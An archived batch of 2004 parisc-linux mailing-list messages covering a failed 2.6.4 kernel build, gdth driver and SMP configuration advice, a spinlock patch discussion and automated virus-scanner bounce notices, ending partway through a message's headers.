  CC      arch/parisc/kernel/asm-offsets.s
  CHK     include/asm-parisc/offsets.h
  UPD     include/asm-parisc/offsets.h
make[1]: Leaving directory `/usr/src/kernel-source-2.6.4'
echo done >  stamp-kernel-configure
echo done >  stamp-configure
The UTS Release version in include/linux/version.h
     "2.6.4-64-smp"
does not match current version
     "2.6.4-64-smp"
Reconfiguring.
touch Makefile
test -f stamp-configure || /usr/bin/make -f
/usr/share/kernel-package/rules configure
/usr/bin/make  EXTRAVERSION=-64-smp  ARCH=parisc \
                     vmlinux
make[1]: Entering directory `/usr/src/kernel-source-2.6.4'
  CHK     include/linux/version.h
make[2]: `arch/parisc/kernel/asm-offsets.s' is up to date.
  CC      init/main.o
In file included from init/main.c:35:
include/linux/kernel_stat.h: In function `kstat_irqs':
include/linux/kernel_stat.h:47: error: `cpu_present_map' undeclared
(first use in this function)
include/linux/kernel_stat.h:47: error: (Each undeclared identifier is
reported only once
include/linux/kernel_stat.h:47: error: for each function it appears in.)
init/main.c: In function `smp_init':
init/main.c:362: error: `cpu_present_map' undeclared (first use in this
function)
make[2]: *** [init/main.o] Error 1
make[1]: *** [init] Error 2
make[1]: Leaving directory `/usr/src/kernel-source-2.6.4'
make: *** [stamp-build] Error 2



From - Thu Nov 08 21:31:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: <Administrator@s15113731.rootmaster.info>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [MailServer Notification]To Sender virus found and
	action taken.
Date: Thu, 25 Mar 2004 03:15:25 +0100
Lines: 15
Approved: news@gmane.org
Message-ID: <080501c4120f$08e71d70$fc01a8c0@muc.nccconsulting.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="utf-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623301 7210 80.91.229.3 (22 Nov 2014 02:28:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:21 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: administrator@ncc-consulting.de  Wed Mar 24 19:15:18 2004
Return-Path: <administrator@ncc-consulting.de>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from s15113731.rootmaster.info (ncc-experience.de [217.160.143.122])
	by dsl2.external.hp.com (Postfix) with ESMTP id D6E75482C
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 24 Mar 2004 19:15:17 -0700 (MST)
Original-Received: from mailserver.muc.ncc-consulting.de (pD9E882DE.dip0.t-ipconnect.de
	[217.232.130.222])
	by s15113731.rootmaster.info (8.11.6/8.11.6) with ESMTP id i2P2FGo15882
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 25 Mar 2004 03:15:16 +0100
Original-Received: from mail pickup service by mailserver.muc.ncc-consulting.de with
	Microsoft SMTPSVC; Thu, 25 Mar 2004 03:15:25 +0100
thread-index: AcQSDwjnF6s/JSanQbCuMCtGL+d8jA==
Thread-Topic: [MailServer Notification]To Sender virus found and action taken.
Original-Sender: <Administrator@s15113731.rootmaster.info>
X-Mailer: Microsoft CDO for Exchange 2000
Content-Class: urn:content-classes:message
Importance: normal
Priority: normal
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
X-OriginalArrivalTime: 25 Mar 2004 02:15:25.0967 (UTC)
	FILETIME=[091929F0:01C4120F]
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 25 Mar 2004 02:15:18 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21183

ScanMail for Microsoft Exchange has detected virus-infected attachment(s).

Sender = parisc-linux@lists.parisc-linux.org
Recipient(s) = Evangelos Kopanakis
Subject = Re: Encrypted Mail
Scanning time = 3/25/2004 3:15:24 AM
Engine/Pattern = 6.860-1001/1.835.00

Action on virus found:
The attachment readme.zip contains WORM_NETSKY.P virus. ScanMail has Passed it. 

Warning to sender! 
A Virus was found in an Mail you send to us. 
Please check your System!


From - Thu Nov 08 21:31:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gdth driver on L2000
Date: Wed, 24 Mar 2004 20:26:39 -0700
Lines: 18
Approved: news@gmane.org
Message-ID: <20040325032639.GA7587@colo.lackof.org>
References: <1080142280.1928.35.camel@thunderbolt.oss.ntelos.net>
	<20040324173117.GA32052@colo.lackof.org>
	<1080158208.23069.6.camel@thunderbolt.oss.ntelos.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623301 7211 80.91.229.3 (22 Nov 2014 02:28:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:21 +0000 (UTC)
Cc: PA-RISC Linux <parisc-linux@lists.parisc-linux.org>
To: Eric Sproul <esproul@ntelos.net>
Original-X-From: grundler@lackof.org  Wed Mar 24 20:26:41 2004
Return-Path: <grundler@lackof.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id 374A7482C
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 24 Mar 2004 20:26:41 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 5598D2980A7; Wed, 24 Mar 2004 20:26:40 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 07515-02; Wed, 24 Mar 2004 20:26:39 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id AE2242980A6; Wed, 24 Mar 2004 20:26:39 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <1080158208.23069.6.camel@thunderbolt.oss.ntelos.net>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 25 Mar 2004 03:26:41 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21184

On Wed, Mar 24, 2004 at 02:56:49PM -0500, Eric Sproul wrote:
> Grant,
> I'm working with Debian's 2.6.4 sources, but the gdth driver must be
> unchanged since the patch applies cleanly.  Thanks!

good

> All,
> Does anyone else who is running Debian have a working config I could use
> to start from?

Grab a500_defconfig from 
	http://cvs.parisc-linux.org/linux-2.6/arch/parisc/configs

that works.

grant


From - Thu Nov 08 21:31:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gdth driver on L2000
Date: Wed, 24 Mar 2004 20:27:43 -0700
Lines: 7
Approved: news@gmane.org
Message-ID: <20040325032743.GB7587@colo.lackof.org>
References: <1080142280.1928.35.camel@thunderbolt.oss.ntelos.net>
	<20040324173117.GA32052@colo.lackof.org>
	<1080158208.23069.6.camel@thunderbolt.oss.ntelos.net>
	<1080163275.23069.42.camel@thunderbolt.oss.ntelos.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623302 7215 80.91.229.3 (22 Nov 2014 02:28:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:22 +0000 (UTC)
Cc: PA-RISC Linux <parisc-linux@lists.parisc-linux.org>
To: Eric Sproul <esproul@ntelos.net>
Original-X-From: grundler@lackof.org  Wed Mar 24 20:27:44 2004
Return-Path: <grundler@lackof.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id D0AFB482C
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 24 Mar 2004 20:27:44 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 56BA22980A7; Wed, 24 Mar 2004 20:27:44 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 07515-03; Wed, 24 Mar 2004 20:27:43 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id D569B2980A6; Wed, 24 Mar 2004 20:27:43 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <1080163275.23069.42.camel@thunderbolt.oss.ntelos.net>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 25 Mar 2004 03:27:45 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21185

On Wed, Mar 24, 2004 at 04:21:16PM -0500, Eric Sproul wrote:
> Maybe even though CONFIG_SMP=Y it is not including smp.h?

Do not enable CONFIG_SMP on 2.6 kernels. It doesn't work.

grant


From - Thu Nov 08 21:31:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Spinlock patch, take 2
Date: Wed, 24 Mar 2004 23:28:31 -0800
Lines: 20
Approved: news@gmane.org
Message-ID: <20040325072831.GT750@tausq.org>
References: <40561EAF000035FA@ocpmta1.freegates.net>
	<40561EAF00003770@ocpmta1.freegates.net>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623302 7224 80.91.229.3 (22 Nov 2014 02:28:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:22 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: randolph@tausq.org  Wed Mar 24 22:53:21 2004
Return-Path: <randolph@tausq.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 20CC0482C
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 24 Mar 2004 22:53:21 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id F0AD7CD29E; Wed, 24 Mar 2004 23:28:31 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <40561EAF00003770@ocpmta1.freegates.net>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 25 Mar 2004 05:53:21 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21186

> -#define cpu_possible_map	cpu_present_map
> +#define cpu_possible_map	cpu_present_mask
>  
>  #endif /* CONFIG_SMP */
> =========><=========
> >
> >Is it correct?

I think this is correct, but i'm not sure. i believe this is part of 
the hotplug cpu patches that are being disucssed and we are waiting for
that to do more smp work.

jejb/willy, any comments on this?

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:31:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: <Administrator@s15113731.rootmaster.info>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [MailServer Notification]To Sender virus found and
	action taken.
Date: Thu, 25 Mar 2004 06:59:56 +0100
Lines: 15
Approved: news@gmane.org
Message-ID: <08ab01c4122e$65f5a710$fc01a8c0@muc.nccconsulting.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="utf-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623302 7227 80.91.229.3 (22 Nov 2014 02:28:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:22 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: administrator@ncc-consulting.de  Wed Mar 24 22:59:30 2004
Return-Path: <administrator@ncc-consulting.de>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from s15113731.rootmaster.info (ncc-experience.de [217.160.143.122])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4518B482C
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 24 Mar 2004 22:59:29 -0700 (MST)
Original-Received: from mailserver.muc.ncc-consulting.de (pD9E882DE.dip0.t-ipconnect.de
	[217.232.130.222])
	by s15113731.rootmaster.info (8.11.6/8.11.6) with ESMTP id i2P5xSo09066
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 25 Mar 2004 06:59:28 +0100
Original-Received: from mail pickup service by mailserver.muc.ncc-consulting.de with
	Microsoft SMTPSVC; Thu, 25 Mar 2004 06:59:56 +0100
thread-index: AcQSLmX1DrKSyVFPTY2BOG+LXCJV5w==
Thread-Topic: [MailServer Notification]To Sender virus found and action taken.
Original-Sender: <Administrator@s15113731.rootmaster.info>
X-Mailer: Microsoft CDO for Exchange 2000
Content-Class: urn:content-classes:message
Importance: normal
Priority: normal
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
X-OriginalArrivalTime: 25 Mar 2004 05:59:56.0270 (UTC)
	FILETIME=[660648E0:01C4122E]
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 25 Mar 2004 05:59:30 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21187

ScanMail for Microsoft Exchange has detected virus-infected attachment(s).

Sender = parisc-linux@lists.parisc-linux.org
Recipient(s) = Evangelos Kopanakis
Subject = Re: Encrypted Mail
Scanning time = 3/25/2004 6:59:55 AM
Engine/Pattern = 6.860-1001/1.837.00

Action on virus found:
The attachment readme.zip contains WORM_NETSKY.P virus. ScanMail has Passed it. 

Warning to sender! 
A Virus was found in an Mail you send to us. 
Please check your System!


From - Thu Nov 08 21:31:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Spinlock patch, take 2
Date: Wed, 24 Mar 2004 23:00:40 -0700
Lines: 13
Approved: news@gmane.org
Message-ID: <20040325060040.GA9159@colo.lackof.org>
References: <40561EAF000035FA@ocpmta1.freegates.net>
	<40561EAF00003770@ocpmta1.freegates.net>
	<20040325072831.GT750@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623303 7229 80.91.229.3 (22 Nov 2014 02:28:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:23 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: grundler@lackof.org  Wed Mar 24 23:00:41 2004
Return-Path: <grundler@lackof.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id 90217497F
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 24 Mar 2004 23:00:41 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 1015F2980A6; Wed, 24 Mar 2004 23:00:41 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 08987-09; Wed, 24 Mar 2004 23:00:40 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 8891929802A; Wed, 24 Mar 2004 23:00:40 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20040325072831.GT750@tausq.org>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 25 Mar 2004 06:00:41 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21188

On Wed, Mar 24, 2004 at 11:28:31PM -0800, Randolph Chung wrote:
> I think this is correct, but i'm not sure. i believe this is part of 
> the hotplug cpu patches that are being disucssed and we are waiting for
> that to do more smp work.
> 
> jejb/willy, any comments on this?

I just started looking at this.
We don't need cpu_present_map.
We should use cpu_possible_mask in our arch/parisck/kernel/smp.c.

grant


From - Thu Nov 08 21:31:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: =?ISO-8859-1?Q?Re=3A=20=5Bparisc=2Dlinux=5D=20Cast=20of=20lvalue=20warning=20in=20the=20last=20k=202=2E6=2E5=2Drc2=20with=09last=20gcc=2D3=2E3=20=28next=29?=
Date: Thu, 25 Mar 2004 08:11:35 +0100
Lines: 34
Approved: news@gmane.org
Message-ID: <40561E7100006BEF@ocpmta2.freegates.net>
References: <20040324210631.GN25059@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623303 7234 80.91.229.3 (22 Nov 2014 02:28:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:23 +0000 (UTC)
Cc: PA-RISC Linux Port <parisc-linux@lists.parisc-linux.org>
To: "Matthew Wilcox" <willy@debian.org>
Original-X-From: soete.joel@tiscali.be  Thu Mar 25 00:51:56 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2D9F74831
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 25 Mar 2004 00:51:56 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 1B6Peb-00042N-00; Thu, 25 Mar 2004 08:51:53 +0100
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Thu, 25 Mar 2004 08:11:35 +0100
In-Reply-To: <20040324210631.GN25059@parcelfarce.linux.theplanet.co.uk>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 25 Mar 2004 07:51:56 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21189


>>  	}
>>  	while (count > 3) {
>>  		__raw_writel(*(u32 *)src, dest);
>> -		src += 4;
>> -		dest += 4;
>> -		count -= 4;
>> +		src += sizeof(u32);
>> +		dest += sizeof(u32);
>> +		count -= sizeof(u32);
>
>No, don't change these.

Just to explain that it was inspired by a Andreas Jaeger's patch (http://sources.redhat.com/ml/libc-hacker/2004-03/msg00007.html)
 and wasn't originaly requested by the warning.
But I find it nice to add it to show the relationship between __raw_writel()
and increment, decrement actions.

That said, there are no urgency to fix it: it is still a warning with gcc-3.3
:)

Thanks for feedback,
    Joel


T

----------------------------------------------------------------------------------------
Tiscali ADSL: 35 /mois, la meilleure offre du march!
http://reg.tiscali.be/default.asp?lg=fr





From - Thu Nov 08 21:31:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Eric Sproul <esproul@ntelos.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gdth driver on L2000
Date: Thu, 25 Mar 2004 08:31:55 -0500
Lines: 18
Approved: news@gmane.org
Message-ID: <1080221515.17438.9.camel@thunderbolt.oss.ntelos.net>
References: <1080142280.1928.35.camel@thunderbolt.oss.ntelos.net>
	<20040324173117.GA32052@colo.lackof.org>
	<1080158208.23069.6.camel@thunderbolt.oss.ntelos.net>
	<1080163275.23069.42.camel@thunderbolt.oss.ntelos.net>
	<20040325032743.GB7587@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623303 7240 80.91.229.3 (22 Nov 2014 02:28:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:23 +0000 (UTC)
To: PA-RISC Linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: esproul@ntelos.net  Thu Mar 25 06:31:56 2004
Return-Path: <esproul@ntelos.net>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailrtr03.ntelos.net (mailrtr03.ntelos.net [216.12.0.103])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7EBAF483B
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 25 Mar 2004 06:31:56 -0700 (MST)
Original-Received: from thunderbolt.oss.ntelos.net (thunderbolt.oss.ntelos.net
	[216.12.8.195])
	by mailrtr03.ntelos.net (8.11.7/8.11.7) with ESMTP id i2PDVuL20631
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 25 Mar 2004 08:31:56 -0500
In-Reply-To: <20040325032743.GB7587@colo.lackof.org>
X-Mailer: Ximian Evolution 1.4.5 
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 25 Mar 2004 13:31:57 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21190

(should have replied to the list...)

On Wed, 2004-03-24 at 22:27, Grant Grundler wrote:
> On Wed, Mar 24, 2004 at 04:21:16PM -0500, Eric Sproul wrote:
> > Maybe even though CONFIG_SMP=Y it is not including smp.h?
> 
> Do not enable CONFIG_SMP on 2.6 kernels. It doesn't work.

Ah, OK.  Well that's a deal-breaker for me.  I really need SMP.

I'll see if I can adapt your gdth patch to 2.4.25 and I'll post my
results.  Thanks again for doing that.  It's one more piece of the
kernel I understand just a bit better now.  :)

Thanks,
Eric



From - Thu Nov 08 21:31:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Eric Sproul <esproul@ntelos.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gdth driver on L2000
Date: Thu, 25 Mar 2004 12:04:07 -0500
Lines: 30
Approved: news@gmane.org
Message-ID: <1080234247.17438.31.camel@thunderbolt.oss.ntelos.net>
References: <1080142280.1928.35.camel@thunderbolt.oss.ntelos.net>
	<20040324173117.GA32052@colo.lackof.org>
	<1080158208.23069.6.camel@thunderbolt.oss.ntelos.net>
	<20040325032639.GA7587@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623303 7247 80.91.229.3 (22 Nov 2014 02:28:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:23 +0000 (UTC)
To: PA-RISC Linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: esproul@ntelos.net  Thu Mar 25 10:04:08 2004
Return-Path: <esproul@ntelos.net>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailrtr03.ntelos.net (mailrtr03.ntelos.net [216.12.0.103])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4234A4829
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 25 Mar 2004 10:04:08 -0700 (MST)
